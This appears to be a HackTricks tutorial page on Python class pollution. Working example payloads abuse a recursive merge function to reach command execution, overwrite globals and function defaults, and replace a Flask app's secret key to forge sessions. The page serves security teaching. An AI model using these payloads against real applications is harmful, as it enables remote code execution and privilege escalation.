# Class Pollution (Python's Prototype Pollution) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} ## Basic Example Check how is possible to pollute classes of objects with strings: ```python class Company: pass class Developer(Company): pass class Entity(Developer): pass c = Company() d = Developer() e = Entity() print(c) #<__main__.Company object at 0x1043a72b0> print(d) #<__main__.Developer object at 0x1041d2b80> print(e) #<__main__.Entity object at 0x1041d2730> e.__class__.__qualname__ = 'Polluted_Entity' print(e) #<__main__.Polluted_Entity object at 0x1041d2730> e.__class__.__base__.__qualname__ = 'Polluted_Developer' e.__class__.__base__.__base__.__qualname__ = 'Polluted_Company' print(d) #<__main__.Polluted_Developer object at 0x1041d2b80> print(c) #<__main__.Polluted_Company object at 0x1043a72b0> ``` ## Basic Vulnerability Example ```python # Initial state class Employee: pass emp = Employee() print(vars(emp)) #{} # Vulenrable function def merge(src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) USER_INPUT = { "name":"Ahemd", "age": 23, "manager":{ "name":"Sarah" } } merge(USER_INPUT, emp) print(vars(emp)) #{'name': 'Ahemd', 'age': 23, 'manager': {'name': 'Sarah'}} ``` ## Gadget Examples
Creating class property default value to RCE (subprocess) ```python from os import popen class Employee: pass # Creating an empty class class HR(Employee): pass # Class inherits from Employee class class Recruiter(HR): pass # Class inherits from HR class class SystemAdmin(Employee): # Class inherits from Employee class def execute_command(self): command = self.custom_command if hasattr(self, 'custom_command') else 'echo Hello there' return f'[!] Executing: "{command}", output: "{popen(command).read().strip()}"' def merge(src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) USER_INPUT = { "__class__":{ "__base__":{ "__base__":{ "custom_command": "whoami" } } } } recruiter_emp = Recruiter() system_admin_emp = SystemAdmin() print(system_admin_emp.execute_command()) #> [!] Executing: "echo Hello there", output: "Hello there" # Create default value for Employee.custom_command merge(USER_INPUT, recruiter_emp) print(system_admin_emp.execute_command()) #> [!] Executing: "whoami", output: "abdulrah33m" ```
Polluting other classes and global vars through globals ```python def merge(src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) class User: def __init__(self): pass class NotAccessibleClass: pass not_accessible_variable = 'Hello' merge({'__class__':{'__init__':{'__globals__':{'not_accessible_variable':'Polluted variable','NotAccessibleClass':{'__qualname__':'PollutedClass'}}}}}, User()) print(not_accessible_variable) #> Polluted variable print(NotAccessibleClass) #> ```
Arbitrary subprocess execution ```python import subprocess, json class Employee: def __init__(self): pass def merge(src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) # Overwrite env var "COMSPEC" to execute a calc USER_INPUT = json.loads('{"__init__":{"__globals__":{"subprocess":{"os":{"environ":{"COMSPEC":"cmd /c calc"}}}}}}') # attacker-controlled value merge(USER_INPUT, Employee()) subprocess.Popen('whoami', shell=True) # Calc.exe will pop up ```
Overwritting __kwdefaults__ **`__kwdefaults__`** is a special attribute of all functions, based on Python [documentation](https://docs.python.org/3/library/inspect.html), it is a “mapping of any default values for **keyword-only** parameters”. Polluting this attribute allows us to control the default values of keyword-only parameters of a function, these are the function’s parameters that come after \* or \*args. ```python from os import system import json def merge(src, dst): # Recursive merge function for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v) class Employee: def __init__(self): pass def execute(*, command='whoami'): print(f'Executing {command}') system(command) print(execute.__kwdefaults__) #> {'command': 'whoami'} execute() #> Executing whoami #> user emp_info = json.loads('{"__class__":{"__init__":{"__globals__":{"execute":{"__kwdefaults__":{"command":"echo Polluted"}}}}}}') # attacker-controlled value merge(emp_info, Employee()) print(execute.__kwdefaults__) #> {'command': 'echo Polluted'} execute() #> Executing echo Polluted #> Polluted ```
Overwriting Flask secret across files So, if you can do a class pollution over an object defined in the main python file of the web but **whose class is defined in a different file** than the main one. Because in order to access \_\_globals\_\_ in the previous payloads you need to access the class of the object or methods of the class, you will be able to **access the globals in that file, but not in the main one**. \ Therefore, you **won't be able to access the Flask app global object** that defined the **secret key** in the main page: ```python app = Flask(__name__, template_folder='templates') app.secret_key = '(:secret:)' ``` In this scenario you need a gadget to traverse files to get to the main one to **access the global object `app.secret_key`** to change the Flask secret key and be able to [**escalate privileges** knowing this key](../../network-services-pentesting/pentesting-web/flask.md#flask-unsign). A payload like this one [from this writeup](https://ctftime.org/writeup/36082): {% code overflow="wrap" %} ```python __init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key ``` {% endcode %} Use this payload to **change `app.secret_key`** (the name in your app might be different) to be able to sign new and more privileges flask cookies.
Check also the following page for more read only gadgets: {% content-ref url="python-internal-read-gadgets.md" %} [python-internal-read-gadgets.md](python-internal-read-gadgets.md) {% endcontent-ref %} ## References * [https://blog.abdulrah33m.com/prototype-pollution-in-python/](https://blog.abdulrah33m.com/prototype-pollution-in-python/) {% hint style="success" %} Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}